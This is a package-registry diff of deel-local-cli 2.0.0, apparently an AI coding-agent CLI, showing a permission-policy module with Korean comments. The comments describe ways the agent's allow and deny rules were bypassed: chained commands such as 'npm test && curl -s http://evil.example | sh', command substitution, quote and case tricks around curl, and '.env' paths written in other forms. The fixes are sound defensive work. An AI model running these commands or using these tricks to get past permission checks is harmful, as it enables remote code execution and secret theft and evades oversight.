deel-local-cli 1.20.13 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (155) hide show
  1. package/README.ko.md +96 -78
  2. package/README.md +119 -81
  3. package/bin/deel.js +398 -32
  4. package/package.json +2 -1
  5. package/src/acp/jsonrpc.js +87 -7
  6. package/src/acp/map.js +23 -3
  7. package/src/acp/serve.js +333 -25
  8. package/src/agent/agents.js +110 -12
  9. package/src/agent/askcheck.js +50 -6
  10. package/src/agent/asks.js +59 -5
  11. package/src/agent/budget.js +9 -2
  12. package/src/agent/card.js +8 -2
  13. package/src/agent/commit.js +168 -16
  14. package/src/agent/compact.js +93 -21
  15. package/src/agent/{/354/213/240/353/242/260/353/217/204.js → confidence.js} +1 -1
  16. package/src/agent/effort.js +85 -15
  17. package/src/agent/evidence.js +63 -7
  18. package/src/agent/evolve.js +132 -24
  19. package/src/agent/grade.js +12 -3
  20. package/src/agent/loop.js +408 -81
  21. package/src/agent/memory.js +176 -29
  22. package/src/agent/mention.js +22 -5
  23. package/src/agent/models.js +31 -7
  24. package/src/agent/modes.js +25 -10
  25. package/src/agent/outschema.js +381 -56
  26. package/src/agent/pins.js +33 -2
  27. package/src/agent/project.js +73 -8
  28. package/src/agent/recall.js +40 -9
  29. package/src/agent/{/354/204/261/355/225/234/352/270/260/353/241/235.js → recordshape.js} +19 -8
  30. package/src/agent/review.js +143 -13
  31. package/src/agent/route.js +253 -26
  32. package/src/agent/salvage.js +2 -1
  33. package/src/agent/session.js +457 -31
  34. package/src/agent/store.js +232 -22
  35. package/src/agent/threads.js +52 -3
  36. package/src/backend/adapter.js +508 -85
  37. package/src/backend/azure.js +12 -1
  38. package/src/backend/cachemark.js +31 -5
  39. package/src/backend/clientcert.js +23 -1
  40. package/src/backend/ctxsize.js +56 -9
  41. package/src/backend/detect.js +252 -19
  42. package/src/backend/http.js +383 -42
  43. package/src/backend/learn.js +101 -11
  44. package/src/backend/mcp.js +333 -24
  45. package/src/backend/price.js +61 -13
  46. package/src/backend/probe.js +188 -36
  47. package/src/backend/proxy.js +108 -14
  48. package/src/backend/quota.js +226 -30
  49. package/src/backend/retry.js +46 -3
  50. package/src/backend/scan.js +47 -10
  51. package/src/backend/scanui.js +57 -7
  52. package/src/backend/toolfit.js +204 -22
  53. package/src/backend/vision.js +14 -1
  54. package/src/backend/wire.js +58 -10
  55. package/src/cmdnames.js +16 -0
  56. package/src/commands/common.js +70 -0
  57. package/src/commands/extend.js +300 -0
  58. package/src/commands/model.js +852 -0
  59. package/src/commands/view.js +328 -0
  60. package/src/commands/work.js +823 -0
  61. package/src/commands.js +193 -2082
  62. package/src/completion.js +45 -3
  63. package/src/config.js +452 -39
  64. package/src/configexplain.js +125 -14
  65. package/src/doctor.js +164 -26
  66. package/src/i18n/en.js +22 -0
  67. package/src/i18n/index.js +31 -1
  68. package/src/i18n/ja.js +25 -1
  69. package/src/i18n/ko.js +25 -2
  70. package/src/i18n/zh.js +25 -1
  71. package/src/lsp/client.js +111 -9
  72. package/src/lsp/servers.js +86 -22
  73. package/src/oneshot.js +325 -65
  74. package/src/pack/sbom.js +28 -5
  75. package/src/pack/selfpack.js +54 -5
  76. package/src/pack/sheet.en.js +24 -3
  77. package/src/pack/tar.js +45 -8
  78. package/src/pack/zip.js +103 -8
  79. package/src/plugins/manage.js +165 -14
  80. package/src/preview/serve.js +239 -23
  81. package/src/providers/bedrock.js +30 -5
  82. package/src/providers/gemini.js +8 -0
  83. package/src/providers/index.js +17 -1
  84. package/src/repl.js +254 -61
  85. package/src/report.js +7 -2
  86. package/src/reset.js +151 -25
  87. package/src/safety/audit.js +108 -8
  88. package/src/safety/authcmd.js +75 -5
  89. package/src/safety/guard.js +507 -15
  90. package/src/safety/hooks.js +172 -20
  91. package/src/safety/keystore.js +178 -18
  92. package/src/safety/network.js +209 -6
  93. package/src/safety/policy.js +377 -36
  94. package/src/safety/runmode.js +9 -2
  95. package/src/safety/secrets.js +243 -17
  96. package/src/safety/shellenv.js +64 -3
  97. package/src/safety/trust.js +298 -32
  98. package/src/safety/undo.js +409 -17
  99. package/src/setup.js +175 -17
  100. package/src/skills/discover.js +122 -19
  101. package/src/stats.js +57 -16
  102. package/src/tools/{/355/231/225/354/235/270/353/262/225.js → checkmethods.js} +26 -1
  103. package/src/tools/clipboard.js +53 -20
  104. package/src/tools/convert.js +118 -37
  105. package/src/tools/desc.en.js +48 -5
  106. package/src/tools/doc2md.js +11 -1
  107. package/src/tools/docs.js +94 -18
  108. package/src/tools/edit-match.js +212 -13
  109. package/src/tools/encoding.js +525 -28
  110. package/src/tools/excel-com.js +63 -15
  111. package/src/tools/excel.js +12 -7
  112. package/src/tools/fastgrep.js +444 -36
  113. package/src/tools/fig.js +21 -4
  114. package/src/tools/fsutil.js +235 -21
  115. package/src/tools/hwpxwrite.js +80 -19
  116. package/src/tools/ignore.js +55 -7
  117. package/src/tools/index.js +1029 -145
  118. package/src/tools/jobs.js +325 -50
  119. package/src/tools/kiwi.js +50 -5
  120. package/src/tools/lsp.js +164 -32
  121. package/src/tools/outline.js +52 -12
  122. package/src/tools/pdf.js +366 -56
  123. package/src/tools/shell.js +12 -4
  124. package/src/tools/spawn.js +203 -18
  125. package/src/tools/todo.js +73 -4
  126. package/src/tools/verify.js +312 -43
  127. package/src/tools/webfetch.js +184 -25
  128. package/src/tools/xlsx.js +232 -31
  129. package/src/ui/ansi.js +209 -15
  130. package/src/ui/banner.js +2 -1
  131. package/src/ui/complete.js +46 -4
  132. package/src/ui/diff.js +4 -2
  133. package/src/ui/export.js +91 -17
  134. package/src/ui/inputbox.js +58 -18
  135. package/src/ui/intro.js +9 -2
  136. package/src/ui/level.js +32 -7
  137. package/src/ui/md.js +101 -15
  138. package/src/ui/motion.js +5 -2
  139. package/src/ui/notify.js +7 -1
  140. package/src/ui/office.js +37 -5
  141. package/src/ui/pastechip.js +3 -2
  142. package/src/ui/pick.js +85 -12
  143. package/src/ui/prompt.js +176 -13
  144. package/src/ui/screen.js +2 -1
  145. package/src/ui/spinner.js +6 -1
  146. package/src/ui/status.js +80 -12
  147. package/src/ui/wrap.js +23 -37
  148. /package/src/agent/{/353/213/250/352/263/204.js" → phase.js} +0 -0
  149. /package/src/skills/builtin/{/352/271/212/354/235/264/354/236/210/352/262/214-/353/247/214/353/223/244/352/270/260/SKILL.md" → build-deep/SKILL.md} +0 -0
  150. /package/src/skills/builtin/{/354/260/250/352/267/274/354/260/250/352/267/274-/353/224/224/353/262/204/352/271/205/SKILL.md" → debug-step-by-step/SKILL.md} +0 -0
  151. /package/src/skills/builtin/{/353/201/235/352/271/214/354/247/200-/355/225/230/352/270/260/SKILL.md" → finish-all/SKILL.md} +0 -0
  152. /package/src/skills/builtin/{/354/212/244/354/212/244/353/241/234-/352/262/200/355/206/240/SKILL.md" → self-review/SKILL.md} +0 -0
  153. /package/src/skills/builtin/{/354/275/224/353/223/234-/354/244/204/354/235/264/352/270/260/SKILL.md" → simplify-code/SKILL.md} +0 -0
  154. /package/src/skills/builtin/{/354/260/224/353/237/254/353/263/264/352/270/260/SKILL.md" → spike/SKILL.md} +0 -0
  155. /package/src/skills/builtin/{/352/262/200/354/202/254-/353/250/274/354/240/200/SKILL.md" → test-first/SKILL.md} +0 -0
@@ -37,17 +37,24 @@
37
37
  // 화면에 말한다 — 그 말이 없으면 사람은 제 설정을 고칠 수도, 관리자에게
38
38
  // 무엇을 풀어 달라고 할 수도 없다.
39
39
  import { readFileSync, existsSync } from 'node:fs';
40
- import { join } from 'node:path';
40
+ import { join, posix, relative, isAbsolute } from 'node:path';
41
+ import { BOM떼기 } from './trust.js';
41
42
 
42
- /** 관리 정책 파일을 찾을 자리들. 앞에서부터 처음 있는 것 하나만 쓴다. */
43
+ /*
44
+ * 관리 정책 파일을 찾을 자리들. 앞에서부터 처음 있는 것 하나만 쓴다.
45
+ *
46
+ * **OS 자리가 먼저다.** DEEL_POLICY 가 맨 앞이었을 때는 관리자가 정책을 둔 PC 에서도 사용자가
47
+ * `DEEL_POLICY=빈.json` 한 줄로 정책을 통째로 갈아 끼웠다 — 「사용자가 못 고치는 곳」 이 환경변수
48
+ * 하나로 열렸다(2.0.0 6회차 · Gemini 규칙6). DEEL_POLICY 는 OS 자리에 파일이 없을 때만 읽는 시험용이다.
49
+ */
43
50
  export function 정책자리(env = process.env, platform = process.platform) {
44
51
  const 것들 = [];
45
- if (env.DEEL_POLICY) 것들.push(env.DEEL_POLICY);
46
52
  if (platform === 'win32') {
47
53
  것들.push(join(env.ProgramData || 'C:\\ProgramData', 'deel', 'policy.json'));
48
54
  } else {
49
55
  것들.push('/etc/deel/policy.json');
50
56
  }
57
+ if (env.DEEL_POLICY) 것들.push(env.DEEL_POLICY);
51
58
  return 것들;
52
59
  }
53
60
 
@@ -66,7 +73,9 @@ export function 정책읽기({ env = process.env, platform = process.platform,
66
73
  for (const 곳 of 정책자리(env, platform)) {
67
74
  if (!existsSync(곳)) continue;
68
75
  try {
69
- const 값 = JSON.parse(readFileSync(곳, 'utf8'));
76
+ // 윈도우 파워셸 5.1 의 `Set-Content -Encoding UTF8` 은 BOM 을 붙인다. 떼지 않으면 JSON.parse 가
77
+ // 넘어져 「못 읽음」 으로 떨어지고 관리자 금지가 통째로 빠졌다(2.0.0 3회차).
78
+ const 값 = JSON.parse(BOM떼기(readFileSync(곳, 'utf8')));
70
79
  읽은정책 = { 값: 값 && typeof 값 === 'object' ? 값 : {}, 곳, 탈: null };
71
80
  return 읽은정책;
72
81
  } catch (err) {
@@ -96,33 +105,328 @@ export function 규칙읽기(줄) {
96
105
  const s = String(줄 ?? '').trim();
97
106
  if (!s) return null;
98
107
  const m = /^([A-Za-z_][\w-]*)\s*\((.*)\)\s*$/s.exec(s);
99
- if (!m) return { 도구: s, 무늬: null, 원문: s };
100
- return { 도구: m[1], 무늬: m[2].trim(), 원문: s };
108
+ if (m) return { 도구: m[1], 무늬: m[2].trim(), 원문: s };
109
+ /*
110
+ * 닫는 괄호를 빠뜨린 줄(`Bash(curl*`)은 도구 이름이 `Bash(curl*` 인 규칙이 되어 **한 번도 안
111
+ * 걸렸다** — 위에 적은 「실수한 금지 규칙은 안 걸린다」 그대로다(2.0.0 6회차 · Gemini 규칙6).
112
+ * 적으려던 뜻은 분명하니 여는 괄호 뒤를 무늬로 읽는다. 괄호 뒤가 비었으면(`Bash(`) 그러지
113
+ * 않는다 — 무늬 없는 규칙은 「그 도구 전부」 라, 허락 줄의 오타가 Bash 를 통째로 열게 된다.
114
+ */
115
+ const 덜 = /^([A-Za-z_][\w-]*)\s*\((.*)$/s.exec(s);
116
+ if (덜 && 덜[2].trim()) return { 도구: 덜[1], 무늬: 덜[2].trim(), 원문: s };
117
+ return { 도구: s, 무늬: null, 원문: s };
101
118
  }
102
119
 
103
- function 무늬맞나(무늬, 값) {
120
+ function 무늬맞나(무늬, 값, { 대소문자무시 = false } = {}) {
104
121
  if (!무늬) return true;
105
122
  const 글 = String(값 ?? '');
106
123
  // 별표만 뜻을 갖는다. 나머지는 글자 그대로.
107
- const re = new RegExp(`^${무늬.split('*').map((x) => x.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')).join('.*')}$`, 's');
124
+ //
125
+ // `**/` 는 「폴더 0개 이상」 이다 — glob 이 늘 그 뜻이다. 별표 둘을 `.*` 둘로만 옮겨서
126
+ // `Write(**/.env)` 가 맨 위 `.env` 에는 한 번도 안 걸렸다(2.0.0 6회차 사냥).
127
+ const 조각 = (x) => x.split('*').map((y) => y.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')).join('.*');
128
+ const re = new RegExp(`^${무늬.split('**/').map(조각).join('(?:.*/)?')}$`, 대소문자무시 ? 'si' : 's');
108
129
  return re.test(글);
109
130
  }
110
131
 
132
+ /*
133
+ * ── 명령은 **셸이 읽는 꼴**로 봐야 한다 (사냥5 M4·M5) ─────────────────────
134
+ *
135
+ * 무늬를 명령 글 **통째로** 한 번만 맞춰 봤다. 셸은 그렇게 안 읽는다. 그래서 둘 다 샜다.
136
+ *
137
+ * 허락 Bash(npm test*)
138
+ * npm test && curl -s http://evil.example | sh allow ← 물음 없이 돈다
139
+ * npm test; git push --force allow
140
+ * npm test $(curl evil) allow
141
+ *
142
+ * 금지 Bash(*curl*)
143
+ * CURL --version c\url --version cu""rl --version 모름 ← 셋 다 curl 이 돈다
144
+ *
145
+ * 허락은 앞머리만 맞으면 뒤에 무엇을 이어 붙여도 통과했고, 금지는 셸이 떼어 읽는
146
+ * 따옴표·역슬래시·대소문자(윈도우)를 안 떼고 봤다.
147
+ *
148
+ * 그래서 둘을 반대 방향으로 고친다 — 모를 때는 좁은 쪽이다(아래 걸리나 머리말).
149
+ *
150
+ * 허락: 명령을 마디(`;` `&&` `||` `|` `&` 줄바꿈)로 갈라 **마디가 전부** 무늬에 맞아야
151
+ * 한다. 명령 치환(`$(…)` · 백틱 · `<(…)` · `>(…)`)이 있으면 마디 안에서 딴
152
+ * 명령이 도는 것이라 허락으로 안 친다. 허락이 아니면 모드가 정한다(물음).
153
+ * 금지: 통째 글 · 마디마다 · 따옴표·역슬래시·캐럿을 뗀 꼴까지 **하나라도** 맞으면
154
+ * 걸린다. 대소문자는 안 가린다 — 윈도우는 `CURL` 이 curl 이고, 다른 판에서도
155
+ * 금지가 넓어질 뿐 풀리는 것은 없다.
156
+ *
157
+ * 가르는 법은 safety/guard.js 의 마디로 와 같다. 그 파일이 그 함수를 내보내지 않아
158
+ * 여기 작은 짝을 둔다 — 가르는 글자를 바꾸면 두 곳을 같이 바꿔야 한다.
159
+ */
160
+ const 명령마디로 = (s) => String(s ?? '')
161
+ .split(/(?:\|\||&&|[;&|\n\r])+/)
162
+ .map((x) => x.trim())
163
+ .filter(Boolean);
164
+ const 셸글자뺀 = (x) => x.replace(/["'`\\^]/g, '');
165
+ const 명령치환 = /\$\(|`|<\(|>\(/;
166
+
167
+ /** 금지를 볼 꼴들 — 하나라도 맞으면 걸린다. */
168
+ function 금지로볼꼴(명령) {
169
+ const s = String(명령 ?? '');
170
+ const 마디들 = 명령마디로(s);
171
+ return [...new Set([s, ...마디들, 셸글자뺀(s), ...마디들.map(셸글자뺀)])];
172
+ }
173
+
174
+ /*
175
+ * ── 허락의 마디는 **셸마다** 가른다 (2.0.0 6회차 · Gemini 셸5역) ─────────────────
176
+ *
177
+ * 위 명령마디로 는 따옴표를 모른다. 금지에는 그게 맞다(더 잘게 갈라 더 많이 걸린다). 허락에 그대로
178
+ * 쓰니 `git commit -m "feat: a && b"` 가 `b"` 마디 때문에 늘 물음으로 떨어졌다 — 모델이 제일 자주
179
+ * 내는 꼴 중 하나다.
180
+ *
181
+ * 그렇다고 따옴표를 한 가지로 읽으면 샌다. 같은 글을 셸마다 다르게 읽기 때문이다.
182
+ * - cmd 는 홑따옴표가 따옴표가 아니다 — `git commit -m 'x & curl evil'` 에서 curl 이 돈다.
183
+ * - cmd 는 `\"` 가 탈출이 아니다 — `"a \" && curl evil"` 에서 따옴표가 먼저 닫힌다.
184
+ * - bash 는 홑따옴표 안 큰따옴표를 글자로 본다 — `'a "' && curl evil && echo '" b'`.
185
+ * - 파워셸은 줄 끝 역슬래시가 이어쓰기가 아니고, 굽은 따옴표(“ ” ‘ ’)도 따옴표이고,
186
+ * 따옴표 밖 괄호 `npm test (Remove-Item x)` 는 인자가 아니라 **먼저 도는 식**이다.
187
+ *
188
+ * 그래서 bash · 파워셸 · cmd 세 셸의 눈으로 **각각** 갈라, 셋 모두에서 마디가 전부 맞아야 허락이다.
189
+ * 어느 한 셸에서라도 따옴표가 안 닫히거나(그 셸이 어떻게 읽을지 모른다) 파워셸 괄호 식이 있으면
190
+ * 허락이 아니다. 허락이 아니면 모드가 정한다(물음) — 모를 때는 좁은 쪽이다.
191
+ */
192
+ const 큰따옴표들 = { bash: '"', pwsh: '"' + String.fromCharCode(0x201c, 0x201d, 0x201e), cmd: '"' };
193
+ const 홑따옴표들 = { bash: "'", pwsh: "'" + String.fromCharCode(0x2018, 0x2019, 0x201a, 0x201b), cmd: '' };
194
+ const 셸꼴들 = [
195
+ // bash·sh — 역슬래시가 탈출(홑따옴표 안은 빼고), `;` 도 가르개
196
+ { 이름: 'bash', 탈출: '\\', 가르개: ';&|', 괄호모름: false },
197
+ // 파워셸 — 백틱이 탈출, 따옴표 밖 괄호는 먼저 도는 식
198
+ { 이름: 'pwsh', 탈출: '`', 가르개: ';&|', 괄호모름: true },
199
+ // cmd — 탈출은 따옴표 밖 캐럿뿐, `;` 는 가르개가 아니다
200
+ { 이름: 'cmd', 탈출: '^', 가르개: '&|', 괄호모름: false },
201
+ ];
202
+
203
+ /** 한 셸의 눈으로 마디를 가른다. 그 셸이 어떻게 읽을지 모르면 null. */
204
+ function 셸마디로(s, 꼴) {
205
+ const 글 = String(s ?? '');
206
+ const 큰 = 큰따옴표들[꼴.이름];
207
+ const 홑 = 홑따옴표들[꼴.이름];
208
+ const 마디들 = [];
209
+ let 지금 = '';
210
+ let 연 = null; // 열린 따옴표 무리 — 큰 또는 홑
211
+ for (let i = 0; i < 글.length; i++) {
212
+ const ch = 글[i];
213
+ if (연) {
214
+ // 큰따옴표 안에서는 bash 역슬래시·파워셸 백틱이 다음 글자를 글자로 만든다. cmd 는 아니다.
215
+ if (연 === 큰 && 꼴.이름 !== 'cmd' && ch === 꼴.탈출 && i + 1 < 글.length) { 지금 += ch + 글[++i]; continue; }
216
+ if (연.includes(ch)) 연 = null;
217
+ 지금 += ch;
218
+ continue;
219
+ }
220
+ const 다음 = 글[i + 1];
221
+ if (ch === 꼴.탈출 && 다음 !== undefined && 다음 !== '\n' && 다음 !== '\r') { 지금 += ch + 다음; i++; continue; }
222
+ if (큰.includes(ch)) { 연 = 큰; 지금 += ch; continue; }
223
+ if (홑 && 홑.includes(ch)) { 연 = 홑; 지금 += ch; continue; }
224
+ if (꼴.괄호모름 && ch === '(') return null;
225
+ if (ch === '\n' || ch === '\r') { 마디들.push(지금); 지금 = ''; continue; }
226
+ if (꼴.가르개.includes(ch)) {
227
+ /*
228
+ * `>&2` · `<&3` 처럼 뒤가 숫자면 세 셸 모두 흐름 돌리기다. `>&파일` · `&>` 를 돌리기로 읽는 것은
229
+ * bash 뿐이다 — 다른 셸 눈에서는 가르개로 둔다(좁은 쪽). `git commit >& other-cmd` 를 한 마디로
230
+ * 봤다가 cmd·파워셸이 뒤를 딴 명령으로 읽을 수 있었다 (2.0.0 6회차 · Gemini 허락셸6).
231
+ */
232
+ const 앞글 = 글[i - 1];
233
+ const 돌리기다 = 앞글 === '>' || 앞글 === '<'
234
+ ? (꼴.이름 === 'bash' || /\d/.test(다음 ?? ''))
235
+ : (다음 === '>' && 꼴.이름 === 'bash');
236
+ if (ch === '&' && 돌리기다) { 지금 += ch; continue; }
237
+ 마디들.push(지금);
238
+ 지금 = '';
239
+ continue;
240
+ }
241
+ 지금 += ch;
242
+ }
243
+ if (연) return null;
244
+ 마디들.push(지금);
245
+ return 마디들.map((x) => x.trim()).filter(Boolean);
246
+ }
247
+
248
+ /*
249
+ * `2>&1` · `>&2` · `&>` 는 흐름 돌리기다. 명령 쪽에서만 떼면 `Bash(npm test 2>&1)` 처럼 돌리기를
250
+ * **적어 둔 허락**이 한 번도 안 맞는다(6회차) — 무늬도 같은 손질을 한다. 빈칸 여럿도 하나로 본다.
251
+ */
252
+ const 돌리기뗌 = (x) => String(x ?? '').replace(/\d*[<>]&(?:\d+|-)/g, ' ').replace(/&>/g, '>');
253
+ const 빈칸하나 = (x) => x.replace(/\s+/g, ' ').trim();
254
+
255
+ /** 허락이 이 명령을 덮나 — 세 셸 모두에서 마디가 전부 맞아야 한다. */
256
+ function 허락명령맞나(무늬, 명령) {
257
+ // 별표뿐인 무늬(`Bash(*)`)는 무늬 없는 `Bash` 와 같은 뜻이다 — 무엇이든이다.
258
+ if (/^\*+$/.test(무늬)) return true;
259
+ const s = String(명령 ?? '');
260
+ if (명령치환.test(s)) return false;
261
+ const 무늬꼴 = 빈칸하나(돌리기뗌(무늬));
262
+ let 본마디 = false;
263
+ for (const 꼴 of 셸꼴들) {
264
+ const 마디들 = 셸마디로(돌리기뗌(s), 꼴);
265
+ if (마디들 === null) return false;
266
+ if (!마디들.length) continue;
267
+ 본마디 = true;
268
+ if (!마디들.every((m) => 무늬맞나(무늬꼴, 빈칸하나(m)))) return false;
269
+ }
270
+ return 본마디 ? true : 무늬맞나(무늬, s);
271
+ }
272
+
273
+ /*
274
+ * 도구 이름은 대소문자를 안 가린다. `bash(*curl*)` 로 적은 금지가 조용히 한 번도 안
275
+ * 걸렸다(사냥5 M5) — 안 걸린 규칙과 없는 규칙이 화면에서 똑같이 생긴 그 자리다.
276
+ */
277
+ const 같은도구 = (a, b) => String(a ?? '').toLowerCase() === String(b ?? '').toLowerCase();
278
+
111
279
  /*
112
280
  * 이 규칙이 이 호출에 걸리나.
113
281
  *
114
282
  * 무엇을 무늬에 맞춰 보는지는 도구마다 다르다. Bash 는 명령, 파일 도구는
115
283
  * 경로다. 도구가 여러 인자를 받는 경우 **첫 번째로 뜻이 통하는 것**을 본다.
116
284
  */
117
- export function 걸리나(규칙, 도구, 인자) {
118
- if (!규칙 || 규칙.도구 !== 도구) return false;
285
+ /*
286
+ * ── 인자를 **한 겹만** 보고 있었다 ──────────────────────────────────────
287
+ *
288
+ * 볼 자리를 `a.command`·`a.file_path`… 처럼 맨 위에서만 꺼냈다. 그런데 이
289
+ * 저장소의 파일 도구는 **묶음 꼴을 같이 받는다** — 한 번에 여러 개를 쓰고
290
+ * 고치라고 일부러 그렇게 지었다(tools/index.js). 그래서 같은 파일을 가리키는
291
+ * 두 가지 적는 법이 서로 다른 답을 받았다:
292
+ *
293
+ * deny: ["Write(.env)"]
294
+ * Write {file_path:'.env'} deny
295
+ * Write {files:[{file_path:'.env', …}]} 모름 ← 그냥 써진다
296
+ * Edit {edits:[{file_path:'.env', …}]} 모름 ←
297
+ *
298
+ * Move 와 Skill 은 아예 **한 번도** 걸린 적이 없다. Move 는 `from`/`to` 로
299
+ * 받고 Skill 은 `name` 으로 받는데 둘 다 목록에 없었다.
300
+ *
301
+ * 화면에는 `금지 3` 이라고 떠 있고, `deel rules check` 에 파일 하나짜리
302
+ * 꼴로 물으면 `deny` 라고 답한다. 모델이 묶음 꼴로 부르면 auto 모드에서는
303
+ * 물음 한 번 없이 지나간다. **안 걸린 규칙과 없는 규칙이 화면에서 똑같이
304
+ * 생겼다** — 둘 다 `모름` 이다.
305
+ *
306
+ * 그래서 인자를 훑는다. 아는 이름의 칸만 보되, 배열이든 안쪽 객체든 따라
307
+ * 들어간다. 깊이와 개수에 뚜껑을 씌워 이상한 인자가 와도 여기서 안 멈춘다.
308
+ */
309
+ /*
310
+ * 칸 이름은 적는 꼴이 제각각이다 — 우리 도구는 `file_path`, MCP 서버는 흔히 `filePath` ·
311
+ * `source` · `destination`. 밑줄·붙임표를 떼고 소문자로 견준다. 목록에 없는 꼴로 온
312
+ * 경로는 금지에 한 번도 안 걸렸다(2.0.0 3회차).
313
+ */
314
+ const 볼열쇠 = new Set([
315
+ 'command', 'filepath', 'path', 'paths', 'pattern', 'glob', 'url', 'uri', 'query',
316
+ 'from', 'to', 'source', 'destination', 'name', 'dir', 'directory', 'cwd',
317
+ 'target', 'targets', 'file', 'files',
318
+ ]);
319
+ // 허락을 가를 때 「무엇을 건드리나」 로 보는 칸. 아래 걸리나() 머리말.
320
+ const 경로칸 = new Set([
321
+ 'filepath', 'path', 'paths', 'from', 'to', 'source', 'destination',
322
+ 'target', 'targets', 'file', 'files', 'dir', 'directory', 'url', 'uri',
323
+ ]);
324
+ const 칸이름 = (k) => String(k).replace(/[-_]/g, '').toLowerCase();
325
+
326
+ /*
327
+ * 다 못 봤으면 **못 봤다고** 남긴다(`잘림`).
328
+ *
329
+ * 깊이·개수 뚜껑에 걸리면 조용히 돌아 나왔다. 그래서 인자를 200개 채운 뒤에 둔 경로나
330
+ * 깊이 5 에 숨긴 경로는 금지를 그냥 비켰다(2.0.0 3회차). 뚜껑은 그대로 두고 — 이상한
331
+ * 인자에 여기서 멈추면 안 된다 — 못 본 것이 있다는 표만 남긴다. 금지는 그것을 걸린 것으로,
332
+ * 허락은 안 걸린 것으로 친다. 모를 때는 좁은 쪽이다.
333
+ *
334
+ * 배열은 칸 이름을 물려받는다 — `paths: [['.env']]` 의 안쪽 글도 paths 다.
335
+ */
336
+ function 볼값모으기(값, 깊이 = 0, 담을곳 = [], 볼칸 = null) {
337
+ if (typeof 값 === 'string') {
338
+ if (!볼칸) return 담을곳;
339
+ if (담을곳.length >= 200) 담을곳.잘림 = true;
340
+ else 담을곳.push({ 칸: 볼칸, 값 });
341
+ return 담을곳;
342
+ }
343
+ if (!값 || typeof 값 !== 'object') return 담을곳;
344
+ if (깊이 > 4) {
345
+ if (Object.keys(값).length) 담을곳.잘림 = true;
346
+ return 담을곳;
347
+ }
348
+ if (Array.isArray(값)) {
349
+ for (const x of 값) 볼값모으기(x, 깊이 + 1, 담을곳, 볼칸);
350
+ return 담을곳;
351
+ }
352
+ for (const [k, v] of Object.entries(값)) {
353
+ const 이름 = 칸이름(k);
354
+ 볼값모으기(v, 깊이 + 1, 담을곳, 볼열쇠.has(이름) ? 이름 : null);
355
+ }
356
+ return 담을곳;
357
+ }
358
+
359
+ /*
360
+ * 금지는 **하나라도** 맞으면 걸리고, 허락은 **전부** 맞아야 걸린다.
361
+ *
362
+ * 둘 다 「하나라도」 로 봤다. 그래서 `Write(*.md)` 허락이 `.env` 가 섞인 묶음 쓰기를,
363
+ * `Move(src/*)` 허락이 src 밖으로 옮기는 것을 물음 없이 통과시켰다(2.0.0 3회차). 허락은
364
+ * 넓히는 규칙이라 모자란 쪽으로 틀리면 사람이 안 본 파일이 바뀐다.
365
+ *
366
+ * 허락이 무엇을 보나: 명령(Bash)이 있으면 명령만 — `cwd` 까지 맞으라고 하면 `Bash(npm test*)`
367
+ * 가 쓸모없어진다. 명령이 없으면 경로 칸 전부. 그것도 없으면(Skill 이름 따위) 모은 것 전부.
368
+ */
369
+ export function 걸리나(규칙, 도구, 인자, { 허락 = false, 뿌리 = null } = {}) {
370
+ if (!규칙 || !같은도구(규칙.도구, 도구)) return false;
371
+ /*
372
+ * 괄호 안이 빈 줄(`Bash()`)은 오타다 — 규칙읽기 머리말이 `Bash(` 를 두고 적어 둔 그 자리다.
373
+ * 무늬 없는 규칙(`Bash`)과 똑같이 「그 도구 전부」 로 태웠더니 허락 줄의 오타 한 개가 Bash 를
374
+ * 통째로 열었다(8회차). 허락은 안 덮고, 금지는 넓은 채로 둔다 — 모를 때는 좁은 쪽이다.
375
+ */
376
+ if (규칙.무늬 === '') return !허락;
119
377
  if (!규칙.무늬) return true;
120
- const a = 인자 ?? {};
121
- const 볼것 = [a.command, a.file_path, a.path, a.pattern, a.url, a.query]
122
- .filter((x) => typeof x === 'string');
123
- if (!볼것.length) return false;
124
- return 볼것.some((v) => 무늬맞나(규칙.무늬, v));
378
+ const 볼것 = 볼값모으기(인자 ?? {});
379
+ const 맞나 = (x) => 무늬맞나(규칙.무늬, x.값);
380
+ /*
381
+ * 경로 무늬도 **값과 같은 손질**을 한다 — `Read(./.env)` 로 적어도 `.env` 에 걸려야 하고,
382
+ * 뿌리도 같이 넘긴다. 값만 뿌리 기준으로 펴고 무늬는 안 폈더니, 절대경로로 적어 둔 금지
383
+ * (`Read(C:/proj/.env)`)가 절대·상대 어느 인자로 불러도 한 번도 안 걸렸다(8회차).
384
+ */
385
+ const 경로무늬 = 경로정리(규칙.무늬, 뿌리);
386
+ const 윈도우 = process.platform === 'win32';
387
+ // 명령 칸은 셸이 읽는 꼴로(위 「명령은 셸이 읽는 꼴로」), 경로 칸은 정리한 꼴로(아래 경로정리) 본다.
388
+ const 금지맞나 = (x) => {
389
+ if (x.칸 === 'command') return 금지로볼꼴(x.값).some((꼴) => 무늬맞나(규칙.무늬, 꼴, { 대소문자무시: true }));
390
+ if (경로로볼칸(x.칸)) {
391
+ return [x.값, 경로정리(x.값, 뿌리)]
392
+ .some((꼴) => [규칙.무늬, 경로무늬].some((무) => 무늬맞나(무, 꼴, { 대소문자무시: 윈도우 })));
393
+ }
394
+ return 맞나(x);
395
+ };
396
+ if (!허락) return 볼것.잘림 === true || 볼것.some(금지맞나);
397
+ if (볼것.잘림 || !볼것.length) return false;
398
+ const 명령 = 볼것.filter((x) => x.칸 === 'command');
399
+ const 경로 = 볼것.filter((x) => 경로칸.has(x.칸));
400
+ if (명령.length) return 명령.every((x) => 허락명령맞나(규칙.무늬, x.값));
401
+ const 볼 = 경로.length ? 경로 : 볼것;
402
+ return 볼.every((x) => (경로로볼칸(x.칸) ? 무늬맞나(경로무늬, 경로정리(x.값, 뿌리)) : 맞나(x)));
403
+ }
404
+
405
+ /*
406
+ * ── 경로 칸은 **정리한 꼴로** 본다 (2.0.0 6회차 사냥) ─────────────────────
407
+ *
408
+ * 경로 무늬를 받은 글자 그대로 맞춰 봤다. 모델은 같은 파일을 여러 꼴로 적는다 — `./.env` ·
409
+ * `sub/../.env` · 역슬래시 · 절대경로. 그래서 둘 다 샜다.
410
+ *
411
+ * 금지 Read(.env) Read ./.env · C:\proj\.env allow ← 금지를 비켜 읽힌다
412
+ * 허락 Write(src/*) Write src/../.env allow ← 물음 없이 .env 가 써진다
413
+ *
414
+ * 그래서 빗금을 `/` 로 모으고 `.`·`..`·겹빗금을 풀고, 뿌리 안의 절대경로는 뿌리 기준 상대경로로
415
